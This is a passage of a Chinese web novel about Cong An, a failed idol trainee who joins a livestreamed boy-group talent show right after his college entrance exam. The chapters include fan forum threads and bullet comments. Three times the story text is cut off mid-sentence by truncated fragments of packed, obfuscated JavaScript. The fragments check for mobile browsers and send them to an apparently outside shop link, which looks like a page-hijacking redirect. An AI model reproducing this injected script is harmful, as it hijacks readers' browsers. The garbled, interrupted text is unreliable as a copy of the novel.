《养成系也要参加选秀》 1. 第 1 章 六月,阳光明媚,天朗气清,仿佛空气中都飘荡着舒心的味道。 但在高考考场外,一众等候的家长们却丝毫感受不到这天气的美好,只是一遍遍拿出手机看时间,感觉每一分钟都过得如此缓慢,慢得这属于高考的最后一场考试,仿佛没有结束的时候。 终于,伴随着从学校里传来的铃声,所有人精神一震,随后在每位家长虎视眈眈的注视下,学校的操场上缓缓出现了人影。 那是已经交卷离场的考生! 有了第一个人影,很快第二个,第三个……一连串学生从楼梯口出现,不过片刻,刚刚还一片空荡的校园内外,就已经挤满了人。 而学校门口的家长们,更是第一时间跑到了学校门口,试图立刻接到自己的孩子。 “我们要不过去等?”李强低头看表,又抬手看乌泱泱挤满了人的校门口,最后看向了站在自己对面的中年夫妇。 “哎呀没事的。”身宽体胖的妇人潇洒地摆手:“小安自己会过来的啦,昨天我们也是在这里等的,放心吧,不会有问题的,他都是十八岁的大孩子啦,我们要相信他。” 李强:…… 他是在担心从安的安全吗? 他是在担心时间啊!公司里人已经在等着了,就等他接到从安送过去啊! 李强又一次抬手看表,上面走动的秒针就像他耳边的心跳,一声一声,不断催促。 终于,在李强的望眼欲穿中,在那拥挤的人潮里,终于挤出了一个让李强无比熟悉的人影。 那和身边妇人如出一辙的圆眼睛,圆脸,一脸兴奋的人,不是他正在等的从安又是谁? 尽管已经好几个月没见,尽管面前的从安比起他印象中的圆润了不少,颇有他那一双圆滚滚父母的风范,但李强还是一眼就认出来了——这就是他苦等许久的孩子! “跟我走!”李强快步上前一把拉住从安就往自己车上带。 “哎哎,等一下,你要干嘛!”从安满心满眼都是自己在考场上想念万分的老爸老妈,他都已经伸出手试图给自己老妈来一个大大的拥抱同时同步一下自己精心设想的晚餐菜谱,结果眼见着就要碰到自己老妈了,结果横生一双手,拉着他就跑。 一转头,就看见了李强奔跑的背影。 被拉着跑的从安晃着手试图让李强放慢步伐,但没有丝毫作用,眼见对方的车已经近在眼前,从安只能艰难回头冲自己老妈大喊:“我晚上要吃猪蹄!” 话音刚落,就被李强塞到了车上。 然后一溜烟的,考场就逐渐远去了。 等看不见父母的身影了,从安才坐直了身体,问李强:“这么急急忙忙的是要去公司吗?” “对。” “发生什么事了?” “你去了就知道了。” 从安:……行吧。 从安闭嘴不问了。 很快,小轿车平稳到达公司,路过公司大门的时候,从安视线扫过窗外,看见了外面一众聚在一起的年轻女孩。 她们穿着五颜六色的衣服,手上拿着海报、横幅、棉花娃娃等物品,背对着这栋楼,互相在给对方打卡拍照。 看到有车驶过,她们迅速激动起来,停下了拍照的动作,叽叽喳喳地举起手机对准了这辆车。 李强不为所动,在栏杆升起后,车辆平稳驶入地下停车场,把那群激动的女孩们留在了后面。 停车,下车,按电梯,等电梯,在电梯打开后,从安惊讶地睁大了眼睛。 只见他面前的电梯内,广告屏幕上,赫然显示着他的照片,上面用银色的花体写着几个字。 “祝从安高考顺利!” 李强目光顺着扫过去,立刻明白了:“这个应援已经挂了一周了,公司外面那个公交站牌上也是这个应援。” “是吗!”从安睁大了眼睛,本就大的眼睛这会儿更是圆溜溜亮晶晶的,李强一看,也不由得跟着笑了起来。 “是的。” 从安掏出手机把电梯广告牌仔细地拍了照片,决定一会儿下班之后,去把外面公交站牌上的应援也拍一份。 粉丝的支持让他感动,而这些也是他一直坚持的动力。 “到了,走吧。” 李强的声音响起,从安抬眼一看,五楼—— 公司领导们的办公室和会议室所在楼层。 在办公室干嘛? 有领导要找他? 从安心里不由得打起鼓来。 然后从安被带到了一间办公室。 门推开之后,李强就停在外面不走了,从安走了进去,然后轻轻地关上了门。 往前又走两步,转头,办公室内的场景就出现在他的面前。 “菱姐好。”从安对着右侧的女性打招呼,然后又看向了她的左边:“杜导,你好。” “好久不见,从安。”杜唐朝从安招手,示意对方过来。 从安走过去坐下,不太明白对方出现在这里,而他也被叫来这里的原因。 他,是明辉娱乐养成系五代的一名练习生。 前年的时候他们五代开启了出道企划,并于前年底,录制了出道综艺。 历时几个月,去年初,属于他们养成系五代的组合成功出道。 而他,没能成团。 经过艰难的思考,他选择回到校园参加高考,这并不是他要放弃自己多年的练习生身份,他依然是一名练习生,依然想出道,依然想成团,只是他知道自己有太多不足,还需要更加努力,以更好的面貌状态再次出现在大家面前。 菱姐,也就是丁菱,是他们五代的直接负责人。 而杜导,杜唐,则是他们去年那款出道综艺的导演。 于此同时,他还是国内知名的综艺导演,手下握着国内的爆款选秀综艺《星光熠熠》和《星途闪耀》。 《星光熠熠》和《星途闪耀》都是绿洋影视的选秀节目,前者为男团选秀,后者为女团选秀,穿插着录制,到现在,已经各自举办了六届。 想到这里,从安突然内心一动。 算算时间,现在是不是正好到了《星光熠熠》录制的时候了? 所以杜唐来公司,还把他叫来,是公司准备把他送去选秀吗? 各种念头在从安心里一闪而过,而他已经十分自然地坐在了沙发上,隔着茶几和丁菱面对面。 丁菱直入主题:“你有兴趣参加选秀吗?” 果然。 从安看向坐在中间的杜唐,对方此刻正目不转睛地看着他,满脸笑容,肉眼可见地写着期待。 “我可以问一下为什么是我吗?” “当然。”杜唐笑容更深:“因为你合适。” 从安放在腿上的手握紧了。 良久,他抬眼看向了丁菱:“我去。” 尽管此前养成系从未有人去参加过选秀,尽管养成系和选秀的模式截然不同,尽管因为高考闭关他已经大半年没有练习过,尽管……拒绝的理由一个接一个,但从安无法忽视自己内心的声音。 他想要站上舞台。 他想要再次聆听那动人的欢呼。 * [星光熠熠论坛小组] 【搬运丨今年星光熠熠练习生名单已出】 —— 【主楼】 [链接] 来押注吧 1楼 又是一群歪瓜裂枣 2楼 已阅,PASS 3楼 内娱是没人了吗?怎么现在这些人一个比一个丑啊? 4楼 回复3楼 星光熠熠都拍到第七季了,就算是两年一季,十几年选下来,优秀的苗子那也确实不多了吧 5楼 看到了好多回锅肉,我服了,没新人吗? 6楼 那个盛曹不是塌了吗?这都还能来呢? 节目组选人能不能上点心? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760478|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >7楼 回复6楼 说不定是节目组故意的呢 毕竟塌不塌的,总会有人溺爱 而且上一季星光熠熠,不就是靠着这些大爆的吗?也许人家这次还想复刻呢 8楼 回复7楼 复刻上一季?别了吧我害怕 上一季那可真是完全的废墟,太可怕了 9楼 上一季星光熠熠很精彩啊!我全程吃瓜可快乐了 说真的,选秀办了这么多季,每次都大同小异我都乏了,但上一季真的不一样 每个人都各怀鬼胎,野心写在脸上,每个人的行为每句话都值得分析 知道的是我在看选秀综艺,不知道的还以为我在看后宫夺宠 爽的要死好吗 10楼 回复9楼 我懂你!看那些练习生在镜头前搞各种小动作还以为不会被发现的时候,我真的很想笑 但是他们有什么错呢?他们只是希望我们再多看他们一眼,多给他们投票而已 这样的选秀我可太爱了,喜欢,多来 今年继续努力,发扬光大好吗! …… 28楼 没人关心名单吗? 我已经精挑细选了几个了 7号,16号,29号,这几个长得都不错 59号长得有点微妙,等有视频了再做评判 3号和86号完全长在我的点上,已经决定给他们投票了 剩下的一些我就不点名了,长得感觉有点幽默了 我们这是选男团,不是选谐星好吗 29楼 回复28楼 你居然PICK了这么多 30楼 这次只有照片和序号吗?没有名字和公司?这些人我一个都不认识啊,都要脸盲了 31楼 回复30楼 说是这次赛制改了,所以名单公布和以前不一样 32楼 回复31楼 赛制改成啥了? 33楼 回复32楼 不知道呢,还没出 …… 79楼 回复32楼 [链接] 出了出了!赛制出了! 【搬运丨今年赛制】 —— 【主楼】 [链接] 今年的赛制有点精彩啊 1楼 全程直播?不是,认真的? 2楼 哇塞,选秀搞直播……这是想要大热搜了吗 3楼 24小时全程直播,周末放出精剪版……时间这么赶,剪得出来吗?剪辑师得累死吧 4楼 直播!好刺激!我喜欢 5楼 这种直播的话节目组就没有办法恶剪了吧,也没有办法捧皇族了,毕竟练习生实力怎么样,直播里面展现得一清二楚,这样感觉好像会更公平一些 6楼 回复5楼 你这么一说真的是!所以今年真的能有一个民选组合吗?哇哇哇期待起来了 7楼 等一下姐妹们!你们看官博发布的最新微博! 明天直播就开始了? 我的天 今天才公布的练习生名单,居然明天就要开始直播了吗? 今年怎么这么快 我连练习生都还没认全呢 8楼 回复7楼 往年也差不多是这个时候开录,不过等到播就差不多是暑假了 今年改成直播,所以明天就播了吧 那这样这周末就会有第一期节目了? 那真的是有点快了 9楼 燥候 明天一开播我就立马去看 希望我一睁眼就到明天 …… 2. 第 2 章 今年《星光熠熠》赛制大改,吸引了无数人的目光。 选秀已经持续了十多年,往常试过那么多形式,观众们早就审美疲劳,而今年改成实时直播,无疑吸引了一大波目光。 这个消息一出,各个平台全都讨论了起来,和着秀粉们拿着选手名单做的练习生资料,节目还没开播,讨论度就已经拉满。 到了第二天早上八点,节目开播时间一到,直播间一打开,页面左上角的实时在线人数就不断增加。 尽管是工作日的早八,但不过片刻,就已经突破十万大关。 前台已经看不见迅速增长的人数,但从屏幕上不断增加的弹幕,足见直播的热度。 【来了来了】 【哇塞直播期待期待】 【嘿嘿嘿让我来看看今年会有什么乐子】 【希望不要让我失望啊】 【请大家多多支持一八八混血rapper查舟】 【啊啊啊啊啊司景曜加油啊!】 【直播终于开始了,人呢人呢,怎么没人?】 尽管飘过无数弹幕,但直播间还是一片黑暗。 在越来越多的弹幕质疑之后,终于,随着一阵悠扬的鼓点,熟悉的星光熠熠LOGO出现在画面正中。 由一个微小的光点,迅速变大,直到占据整个画面。 然后瞬间碎裂,变成一道道星光四散开来。 在所有星光飞远的刹那,一道悦耳的女声响起。 “观众朋友们大家好,欢迎来到《星光熠熠》第七季。” “这里有最燃的舞台,最动听的音乐,最热血的少年。” “而他们,正等待着你们的选择。” “你们,准备好开始了吗?” 画面从金字塔形状的座椅上飞过,朝着舞台迅速拉近,最后定格在站在舞台上,一袭银色长裙黑色大波浪,手持话筒的莫烟身上。 “大家好,我是男团发起人——莫烟。” 伴随着莫烟的自我介绍,舞台上亮起璀璨烟花。 而直播间里,也迅速划过一连串弹幕。 【啊啊啊啊是莫烟啊!!!】 【女神!】 【好美好美好美】 【太漂亮了吧!今年的发起人居然是莫烟!我的天,好羡慕那群练习生,他们居然可以这么近距离地看到女神!】 在一连串的舔屏之下,莫烟毫无迟滞地介绍完了所有赞助商,然后开始了第一个环节。 “那么接下来,就让我们见证所有练习生的登场吧!” 话音落下,直播间的画面顿时一变,不再是座椅和舞台的画面,而是变成了一个空荡的房间。 只有一张桌子,摆在房间正中,桌面上整齐地摆放着众多字母贴纸。 这幅画面一出,经验丰富的秀粉们立刻就反应了过来。 【这是要自评级了是吧】 【直播的话那岂不是所有人的自评级都能看到了?】 【第一个出场的会是谁啊】 很快,房间紧闭的门就被推开了。 一个人走了进来。 他面容白皙,浅棕色的头发微卷,在蓬松的发型下,一张脸小巧得犹如巴掌一般。 刘海遮住了额头,露出一双如小鹿般清澈的双眼,和小巧的翘鼻,红润的嘴唇。 此刻他的目光扫过镜头,又迅速闪开,犹如受惊的动物,浑身写满了害怕。 他站在门边深深地吸气吐气,然后走进房间,小心地关上了门。 接着站在房间里四下张望,肉眼可见的紧张。 看见正中央的桌子之后,他快步走了过来,站在桌子前,面对着ABCDF五个等级的贴纸,伸手又收回,收回又伸手,看起来十分犹豫。 他的名牌被贴在了靠上的位置,正在胸前,此刻虽然站在桌子前,但也没有丝毫遮挡,完完全全地展示在了镜头前。 安文乐。 【啊啊啊啊啊乐乐宝宝】 【宝宝别紧张】 【这人谁啊,长得还挺可爱】 【安文乐?我记得这是名单里面的1号来着,所以那个名单是按照名字的拼音排序的吗?现在进场也是这个顺序?】 【这人会选什么等级?】 【第一个肯定要选A啊!不要虚,就是干!】 【他看起来好紧张】 【犹豫半天了,怎么还没选完?没有时间限制的吗?】 安文乐的手在每一个字母上抚过,终于,在画面外的工作人员举起倒计时的卡片之后,他下定了决心。 选择了字母C,贴在了自己的名牌上。 C,一个既不突出也不落后的等级。 一个中庸的位置。 【C啊……看来实力不怎么样】 【还以为第一个能厉害一点,就算不是真的厉害,气势也要拿出来嘛,结果是这么个小白兔】 【没意思】 贴完等级贴,工作人员开始提问。 “你为什么要选择这个等级呢?” 安文乐从桌边拿起话筒举在面前,瞬间就被遮住了半张脸,只露出清秀的眉眼。 【哇塞这脸好小】 【一个话筒就能遮住半张脸?过分了吧】 【这双眼睛看起来水汪汪的,我喜欢】 安文乐轻声开口:“因为我想——” “等一下。”声音刚出,工作人员就开口打断了安文乐,“话筒太远了,不好收声,拿近一点。” 安文乐僵住了。 良久,在工作人员的眼神催促下,他缓缓将手靠近了自己的脸。 顿时,原本只露出眉眼的画面,变成眼睛鼻子都露了出来,只有唇部被遮住。 【啊这……是故意的还是故意不小心的?】 【怎么看都是故意把话筒拿远以此塑造自己脸很小的错觉吧】 【啊啊啊啊啊啊啊好尴尬我不行了】 【工作人员好缺德,还专门提出来】 【但是刚才声音真的很小,我都没听见他说话】 【救命啊好社死】 【请问在几十万观众面前被戳破自己的小心思该怎么办】 【好家伙第一个就这么精彩,真叫我找回了前年看第六季的感觉】 【这一届的练习生好像也不是什么软柿子呢】 【好大一个精心设计】 安文乐面色丝毫不变,就好像刚才自己真的是因为紧张,无意间拿远了话筒,在工作人员提醒之后才反应过来,把话筒拿在了合适的位置。 他抿了抿唇,轻声开口:“我希望自己能有更多的进步空间。” 说完,他放下话筒,后退一步,朝镜头鞠了个躬,然后就在工作人员的示意下朝房间另一侧的门走去。 镜头适时切换,直播间里的画面也变为了移动镜头,在安文乐面前,跟随他的离开进行拍摄,一直跟到他踏进布置了一百张座椅的演播厅。 莫烟已经不在这里了,安文乐进来之后,他就是这偌大空间里唯一的一个人,他看着这空荡的演播厅,和在灯光照耀下无比璀璨的那象征着第一的王座,比刚才干脆了很多,径直地朝第二十九的位置走去。 待他坐定之后,镜头拉近,一个特写,聚焦在了他的脸上,也把他身边二十八与三十号座椅带入画面,观看直播的所有人都看清了他的选择。 【29名,这第一个人很保守嘛】 【宝宝没事!我们一步一步来,慢慢向上努力,我们一定可以的!】 【安安加油!】 第一名练习生的选择结束,没有多加耽搁,画面很快切换,下一名练习生已经站在了自评级的桌子前。 他没有像安文乐那样犹豫,十分轻松地从等级A的字母堆里,拿出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760479|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一张贴纸,后退一步,贴在了自己名字后面。 这时,观众才看见了他的名字。 敖立轩。 一头笔挺的黑色短发,根根竖立,往下,是浓黑的眉高挺的鼻梁,以及深邃的眼。 五官十分硬朗,就连面部轮廓,都和刚才离开的安文乐是两个不同的极端。 一个流畅得好像没有丝毫棱角,一个硬挺得棱角分明,有着仿佛能将人割伤的下颌线。 【啊啊啊啊啊哥哥好帅!】 【想在哥哥的鼻梁上滑滑梯】 【等一下这是哪位小哥哥,怎么不曾见过】 【这位帅哥公式照里哪个是你?】 【绿洋影视你作恶多端啊!这么帅的帅哥怎么被你藏起来了!公式照你就这么拍?】 一连串舔颜的弹幕刷过,敖立轩已经走出小房间,来到了外面的大演播厅。 安文乐看到有人出来,连忙挥手,整个人在座椅上不断弹起,随着他的动作,他的头发也随之晃动,□□弹弹,像一只可爱的小兔。 许多人顿时被萌到了。 【啊啊啊啊安安安安妈妈爱你,等妈妈给你投票】 【这个练习生好可爱】 【这名可爱的练习生叫安文乐哦!大家喜欢他就给他投票吧!】 画面主要集中在敖立轩身上,远处的安文乐只带到了一个小小的身影,显得他就像个小小的像素小人,用尽了自己的全力,在吸引敖立轩的注意。 敖立轩走了过去。 两人靠近的时候,安文乐更激动了,他睁着大大的眼睛看向敖立轩:“我们两个要不坐一起吧。” 敖立轩的视线从安文乐身边二十七的座椅上一扫而过,淡淡开口:“不了。” 随后,他径直向上。 顿时,观众激动起来,弹幕也不断刷过。 【不是,这位哥要选C位?】 【第二个出来的人就把第一选了?不是吧?】 【这么狂的吗?】 【自评级也选的A,现在还想选第一,这是自信还是狂啊】 【过度的自信就是狂妄了,这位帅哥】 【哇刺激刺激】 但有些打字慢的人还没来得及发出自己的弹幕,就看见敖立轩在离第一的座椅还有一步之遥的时候,停了下来,然后侧身坐在了第二的位置上。 【……嘶,我还以为他要第一,结果第二……也还行吧,还是很自信了】 【嘿,白期待了】 【怎么怂了呀】 【这位帅哥我看好你哦】 等敖立轩坐定,画面就迫不及待地切走了,下一秒小房间再次出现在众人眼中,这次站在自评级桌子前的不再是一个人,而是整整五个人。 【一个公司的?】 【哪个公司派了这么多人来】 【感觉是小公司……这些人都没见过】 【五个人怎么每一个好看的】 【都这份儿上了也要送人来吗?星光熠熠你是真不挑啊】 在弹幕一众觉得辣眼睛的评论中,这五人已经互相商量着选好了等级,五张B被整整齐齐地贴在了他们各自的名字后面,随后他们走入大演播厅,在安文乐的热情挥手中,坐在了他下面一排。 接下来自评级的进度比直播间观众想象得快了很多。 虽然选手不少,但除了少数的个人练习生和只派出了一名的公司练习生,绝大多数练习生都是几人一起,一波接一波,不过十几分钟,首字母a和b的练习生就已经出场结束,轮到了首字母c的练习生。 从安站在门后深呼吸,许久没站在镜头下,他突然还有些紧张。 身边的工作人员在不断看手机,终于,在收到一条消息后,她朝从安示意。 “可以进去了。” 从安微微颔首,推开面前的门,昂首挺胸地走了进去。 3. 第 3 章 直播在有条不紊地进行,而微博上也迅速出现了#星光熠熠开播#的热搜。 秀粉们电脑手机平板齐开,一个设备看节目,一个设备搜索选手信息,一个设备在网上水贴。 尽管昨天选手的公式照才发布,选手名单才出来,但一天一夜过去,现在网络上各名练习生的详细信息已经十分齐全了。 从大公司精心培养的预备役,到小公司广撒网随便抓的追梦小年轻,多年下来,选秀早已成了众人心中一步天堂一步地狱的试炼场。 成,则从此往后鲜花着锦星光满身。 败,则背负债务梦想破碎。 从九十九名练习生中选拔九名出道,尽管名额稀少,但这个世界上永远不缺自命不凡的年轻人。 节目虽然才刚刚开始,但在秀粉们多年追选秀的犀利目光下,出道预备役已经初具雏形。 “首先查舟肯定不用想,和今年的发起人莫烟一个公司,星耀,这么大的公司,还只派了他一个人来,出道位能没有他?而且他个人条件也很优越啊,身高一八八,混血,精通三国语言,十九岁,rap实力十分不错,自己已经出了好几首歌,小有水花。” “然后就是光芒的那几个人。光芒还是老样子,质量不足就拿数量顶上,今年居然送了六个人过来,上限虽然不明但下限还是有保障的,按照以往几年的经验,至少也能出两个吧。” “还有师启,那个归国练习生,说是在国外练习了五年,本来马上就要成团出道了,结果不知道为什么突然又出道失败被雪藏了一年,然后又回来参加选秀……这种国外练习五年还即将出道的人,回来国内选秀,那不是乱杀?” “这就已经有四个稳出道的了,总共九个名额,再去掉两个资本力捧的皇族,留给那些不知名练习生的名额就只有三个了。” “小一百人争三个出道名额……啧啧啧……竞争激烈啊” 有人在下面提出了不同的意见。 “今年全程直播,皇族没那么好捧了吧” 直播赛制皇族好不好捧?现在还没开始,结果究竟如何暂未可知,但直播赛制的热闹,粉丝们已经窥见些许。 还是自评级阶段呢,出场的练习生们甚至还不到三分之一,大家的讨论欲就已经被充分激发了。 从每个人出场的造型,到每个人出场的状态,为自己选择的级别,到最后坐下的位置,都进行了细细的分析。 不管分析得对不对,总是解读是这么读了。 再把他们在直播里面的大头照截出来,和昨天发布的公式照对比,好家伙,一个比一个精彩啊。 总之就是看过来看过去,看得那叫一个眼花缭乱。 时时刻刻全神贯注,只感觉每一分钟都是精华,分分秒秒都不愿意错过。 就在这样目不转睛的注视下,又一名练习生从门后走了出来。 胸前的名牌上是两个字。 从安。 一头利落的黑色短发,剑眉浓黑,往下是坚定的双眼,眼睛很圆,眼珠很黑,如果动起来,肯定是一双十分灵动的眼睛。 再往下,是笔直挺拔的鼻梁,并不十分高,但在这张脸上,刚刚好。 嘴唇不薄不厚,边缘清晰,红彤彤的,十分健康的颜色。 从五官而言,是一张十分阳光清爽的脸。 可惜脸庞有些圆润,肤色有些过黑,显得这份清爽大打折扣。 如果肤色白皙些,还能是可爱的弟弟型,但一黑,这份可爱便也没了。 但此刻弹幕没人注视从安的样貌,许多观众紧紧盯着名牌上的名字,再看一眼那熟悉的脸,打下了相同的弹幕。 【从安?】 【从安!!】 【不是,这是从安?养成系那个从安?】 【从安怎么来选秀了啊】 【啊啊啊啊啊啊宝宝你居然来选秀了!】 密密麻麻的弹幕突然涌现,无数人震惊于这个名字和这个人的出现,但还有更多人并不知道这是怎么回事。 她们看着弹幕上不断刷过的震惊之语,自己也不由得发出了疑问。 【这个人有什么问题吗?】 在弹幕上当然不能立刻得到详尽的回答,于是这些人火速转移战场,打开微博、论坛等平台,进入星光熠熠的超话和小组,一刷新,果不其然,首页已经飘起了从安的相关讨论。 * [星光熠熠小组] 【从安居然来选秀了?】 —— 【主楼】 是那个从安吧?我没认错人吧? 1楼 ?这个从安有什么问题吗? 塌了? 2楼 回复1楼 塌倒是没塌,不如说安全得很也暂时不可能塌 但问题是他是养成系啊! 去年他们养成系五代不是出道嘛,录了个出道综艺《第五纪》,然后组了个出道团第五象限组合,这个从安没能出道…… 也就是出道失败了 然后就回公司接着训练了 练习了一段时间,还出了一首歌,然后就回学校上学了 那会儿他粉丝好多都破防极了,以为他不想当爱豆了,结果他现在跑来选秀了 震惊 3楼 虽然都说养成系实力差……但这个从安我有印象,实力还可以,长得也不错 4楼 回复3楼 实力可以怎么没成团? 还有长相…… [截图] 这是我在直播里截的图,可不是黑图哈,你确定这张脸叫长得还可以? 5楼 回复4楼 他在《第五纪》的时候实力是真的可以,长相也确实好 至于现在么……只能说可能学习,身材管理多有懈怠吧 实力的话,也不清楚现在是什么水平了,毕竟这么久没有练习过了 而且我没记错的话,他应该是今年的高考生,也就是前几天才高考结束,一结束就跑这里录节目了 这初舞台有没有时间准备都不好说 6楼 不是,看了前面的楼,也就是说这个从安是养成系五代没能成团出道的一名练习生? 实力和外貌都有,但是没能成团?——我怎么这么不信呢? 然后跑去学校上学参加高考,前两天才考完? 那这种怎么来的《星光熠熠》啊? 不是说节目选手的选拔,在几个月前就开始了吗?经过多方考核,才挑选出来了99名练习生 这个从安又是什么时候参加的选拔? 7楼 等一下!昨天节目组放出的选手公式照里面,是不是没有这个从安? 8楼 回复7楼 盲生,你发现了华点! 昨天的公式照里面确实没有从安…… 所以这个从安是怎么出现在节目里面的?公式照没有他,就说明他不是一早就定好的选手吧 不然就算他是高考生,也不是没有时间抽个几个小时出来拍照 所以他是怎么回事?明辉娱乐硬塞进来的?皇族? 9楼 我想起一件事情……如果我没记错的话,他们五代出道综艺的导演,就是杜唐 10楼 杜唐?不就是《星光熠熠》的导演吗? 我去 这从安是关系户啊! 11楼 等一下,怎么一下就变成关系户了? 参加节目的练习生的选拔本来就是节目组进行的,节目组想让谁过不就让谁过了?照你们这么说,那每个选手都是关系户?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760480|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 12楼 回复11楼 粉丝?穿点衣服吧还是 13楼 确实很奇怪,今年选拔练习生的时候,也没听说有养成系要来啊 这么大的噱头,居然一点风声都没露出来,我不信 而且昨天的公式照也没他,不会他的加入真的有什么问题吧? …… 38楼 等等,今年比赛的选手人数好像不一样! [图片] 你们看一看,这是不是有一百张椅子? 我数了好几遍,怎么数都是一百张 39楼 回复38楼 ?好像还真是 40楼 往些年不都是99张椅子吗? 100张椅子,难不成今年有100名选手? 所以从安是多出来的一个? 41楼 回复40楼 啊……那也行吧 没有挤了其他人的名额就行 进了节目,最后谁能留下来,就看各自的实力了 42楼 回复41楼 但是这样很不公平吧? 这个从安虽然说是练习生,但他是养成系的练习生 谁不知道养成系粉丝多,甚至还能开演唱会,已经可以当一名小偶像来看了 但其他练习生就彻彻底底是练习生啊 别说粉丝了,有几个人认识他们都是个问题,更别提开演唱会了 从粉丝数量,舞台经验,从安和其他练习生都完全不是一个水平,怎么能放在一起比较 43楼 回复42楼 你这话说的……粉丝基数,舞台经验……这些东西除了从安,节目里还有很多人也有啊 那些回锅肉,他们的舞台经验也不少吧,他们的粉丝也不少吧? 照你这种说法,他们是不是也该早点回家,不能再继续参加选秀了? 看了外面那些从安的介绍帖子,我觉得如果是他这种实力的话,来参加选秀我觉得完全没问题 养成系又怎么了?养成系就不是练习生了? …… 57楼 怎么吵起来了?养成系不能参加选秀吗? 58楼 回复57楼 不知道啊 我感觉也还行吧,也算是新鲜面孔了 怎么会这么多人有意见? 59楼 回复58楼 来,我来告诉你 这些人是怕自己的心肝被挤下去了 谁不知道养成系粉丝又多又死忠,现在突然来了一个养成系来竞争,她们心肝出道的几率不就又小了一点吗? 60楼 回复59楼 啊?担心从安的粉丝战斗力太强吗……这有点多余了……们五代很糊的,未成团组就更糊了 更别提从安没有成团,还闭关大半年去学习……粉丝早就跑掉了 61楼 回复60楼 五代很糊?怎么可能 去年五代的那个出道综艺《第五纪》,连我都听说过,还有那个谁,是路遥吗,连我妈都看过他的舞台,而且他不是还演了春节档的电影吗? 节目火成这样,资源好成这样,你说糊? 62楼 回复61楼 哎呀,五代的情况有点复杂,解释起来有点难 你就这么理解好了:除了成团的那几个,其他人都是糊咖 粉丝数是拍马都及不上的 所以从安作为未成团组,还沉寂了一年,粉丝是真的没有几个 养成系的粉丝可能会过来看两眼,给他凑凑热闹投投票,但这种凑热闹的投票,能给他投到哪里还不好说 …… 4. 第 4 章 站在镜头前准备给自己自评级的从安还不知道网上因为他的出现,引发了一波小讨论。 久违地面对镜头,他以为自己会紧张,但出乎意料的,当灯光打在他身上,镜头聚焦,他不仅没有紧张,反而更多的是兴奋。 身为养成系,从小在镜头下长大的他,太熟悉所有的录制,虽然因为高考闭关有半年多的时间没有出现在镜头前,但现在重新参加节目,熟悉的感觉迅速涌了上来。 哪怕是在陌生的选秀节目里,但多年面对镜头经验产生的安心感,还是让他迅速冷静下来。 从安的手在桌面不同等级的贴纸上一一拂过,进来之前,已经有工作人员说过规则,他当时也想好了,现在真的到评级的时候,他也很快做好了决定。 手指移动,从安拿起一张A等级贴纸,贴在了自己的名字前面。 镜头后的工作人员照例提问。 “你为什么选择这个等级?” 从安把自己的名字向镜头展示,确认能完全拍到后,他灿然一笑:“我觉得这是对成团组实力最基本的要求,我的目标是成团,所以我选择了这个等级。” 说完,从安放下话筒,转身朝房间外走去。 在镜头拍摄不到的角度,从安敛去脸上的笑容。他知道这样的发言有风险,但安全在节目里就意味着平庸,平庸就是籍籍无名,他决不能在节目里成为背景板的名字。 从安发言结束后,直播间的弹幕也迅速刷了起来。 目前为止出场三十多个人,从安还是第一个直接说了成团两个字的人。 选秀里向来欢迎野心家,但野心家也从来不缺骂名,这会儿大家看着镜头里这个外表看不出优越,实力暂时还没表现的选手,一时之间还摸不准他的底,但不由得记住了这个直接开口想成团的选手。 从安并不知道直播间里的讨论,他离开自评级的房间,走了没几步,就来到了那个包含着小舞台和金字塔形座椅的演播厅。 无数灯光照亮了每一张椅子,从安直直地看过去,意外地发现第一的座椅居然还空着。 见状,从安毫不犹豫,径直走了过去。 其他练习生们的目光瞬间聚集在从安身上,看着他一步一步靠近。 直播间弹幕也热闹起来。 【他要去哪?】 【第一吗?是第一吗?】 【终于有人要去坐第一了?】 所有人都看着从安,无数镜头也迅速对准了他,如果换成其他人,在这样的注视下肯定会紧张,但从安脚步没有丝毫变化,他一步一步向上,走到了那个C位的豪华座椅前。 然后转身,在上面坐了下来。 瞬间,整个演播厅都响起了小小的惊呼声。 纵观选秀史,选择C位的人话题度总是会更多一些。 只是这个C位却不好当,尤其是自评级时选择的C位。 和后面其他选手投票,或观众投票得出的C位不同,自评级的C位,可能是无数练习生在整个节目中,唯一一次能坐在那个位置的机会,所以刚开始的几季选秀中,那个位置可谓是十分火热,许多人都想上去坐一坐。 但几季选秀下来,大家却突然发现一个问题。 那就是凡是第一个去坐上那个位置的人,最后全都没有出道。 而后面的几季,第一个去坐那个位置的人,也都没有出道。 这个发现一出,大家纷纷感慨了起来。 第一个去坐那个位置的人,可能是自信,觉得自己当得起那个位置;也可能是心虚,知道自己以后坐不了,所以现在抓紧时间坐坐。 前者太过狂妄,后者未战先怯。 这样的情绪,在节目里确实不大讨喜,最后不能出道,好像也不意外。 这样感叹下来,初一位必不出道,就成为了《星光熠熠》节目的一个梗。 然后这个梗玩着玩着,就变成了玄学。 